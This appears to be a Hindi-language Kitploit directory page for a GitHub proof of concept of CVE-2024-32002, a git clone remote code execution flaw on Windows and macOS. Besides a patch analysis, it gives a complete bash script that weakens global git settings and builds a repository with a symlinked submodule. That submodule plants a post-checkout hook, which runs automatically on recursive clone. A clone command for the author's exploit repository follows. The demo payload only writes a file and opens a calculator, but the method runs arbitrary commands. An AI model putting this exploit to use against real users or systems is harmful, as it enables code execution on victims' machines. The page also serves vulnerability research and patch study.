Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/roronoawjd/git_rce
Vulnerability AnalysisExploitationPapers & ResearchLearning & EducationPayload Development
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

git clone के माध्यम से रिमोट कोड एक्ज़ीक्यूशन हमला (CVE-2024-32002)

योगदानकर्ता

  • 이정우@Roronoawjd

पृष्ठभूमि विवरण

यह कमजोरी केस-इनसेंसिटिव फ़ाइल सिस्टम जैसे Windows, MacOS में submodule वाले git रिपॉजिटरी को clone करने पर होने वाली RCE (रिमोट कोड एक्ज़ीक्यूशन) कमजोरी है। RCE एक रिमोट कोड एक्ज़ीक्यूशन कमजोरी है जिससे हमलावर लक्ष्य सिस्टम पर मनचाहे कमांड चला सकता है, जो बहुत घातक कमजोरी है। A/modules/x और a/modules/x को समान पथ माना जाता है। इस विशेषता और सिम्बोलिक लिंक का उपयोग करके कमजोरी उत्पन्न की जाती है।

कमजोरी की जानकारी

  • यह POC केवल Windows और MAC सिस्टम पर काम करता है।
  • यदि git config --global core.symlinks false सेट किया गया है तो हमला काम नहीं करता।

कमजोरी का विश्लेषण

कमजोरी पैच देखें

builtin/submodule--helper.c

dir_contains_only_dotgit फ़ंक्शन: जाँचता है कि डायरेक्टरी में केवल .git फ़ाइल है या अन्य डायरेक्टरी भी हैं, और यदि अन्य फ़ाइलें या डायरेक्टरी हैं तो त्रुटि लौटाता है। clone_submodule फ़ंक्शन: clone करने से पहले जाँचता है कि सबमॉड्यूल डायरेक्टरी मौजूद है और खाली है।

t/t7406-submodule-update.sh

1. ग्लोबल कॉन्फ़िगरेशन

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • यह स्क्रिप्ट Git कॉन्फ़िगरेशन विकल्प सेट करती है। protocol.file.allow always के माध्यम से Git के फ़ाइल प्रोटोकॉल को सक्रिय करती है।
  • core.symlinks true सेट करके सिम्बोलिक लिंक के उपयोग की अनुमति देती है।
  • tell_tale_path का उपयोग यह जाँचने के लिए किया जाता है कि RCE ठीक से काम कर रहा है।

2. हुक सेटअप

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • हुक रिपॉजिटरी को इनिशियलाइज़ करता है।
  • post-checkout नामक हुक बनाता है।
  • हुक स्क्रिप्ट को रिपॉजिटरी में कमिट करता है।

3. मुख्य रिपॉजिटरी सेटअप

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • हुक का पथ स्टोर करता है।
  • captain नामक एक और रिपॉजिटरी इनिशियलाइज़ करता है।
  • हुक रिपॉजिटरी को A/modules/x में सबमॉड्यूल के रूप में जोड़ता है और कमिट करता है।
  • .git को इंगित करने वाला a नामक सिम्बोलिक लिंक बनाता है।

4. परीक्षण

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • जाँचता है कि RCE काम कर रहा है या नहीं।

POC निर्माण

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

git में hook होते हैं जो विशेष घटनाओं पर स्वचालित रूप से स्क्रिप्ट चला सकते हैं। ये .git/hooks डायरेक्टरी में स्थित होते हैं। post-checkout वह स्क्रिप्ट है जो checkout के बाद चलती है।

image

क्रम इस प्रकार है:

  1. clone रिपॉजिटरी git_rce में .git को इंगित करने वाला सिम्बोलिक लिंक a बनाया जाता है।
  2. git clone करते समय सबमॉड्यूल का पथ A/modules/x के बजाय a/modules/x के रूप में पहचाना जाता है।
  3. a .git को इंगित करता है, इसलिए .git में /modules/x बनता है और y/hooks/post-checkout उत्पन्न होता है।
  4. checkout सफल होने के बाद स्वचालित रूप से git_rce/.git/modules/x/y/hooks/post-checkout चलता है और RCE होता है।

POC (प्रूफ ऑफ कॉन्सेप्ट)

⚠️चेतावनी: इस कमजोरी का दुर्भावनापूर्ण उपयोग न करें!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

नोट: Windows में, इसे व्यवस्थापक अधिकारों के साथ cmd या bash शेल में चलाना चाहिए।

टूल डाउनलोड करें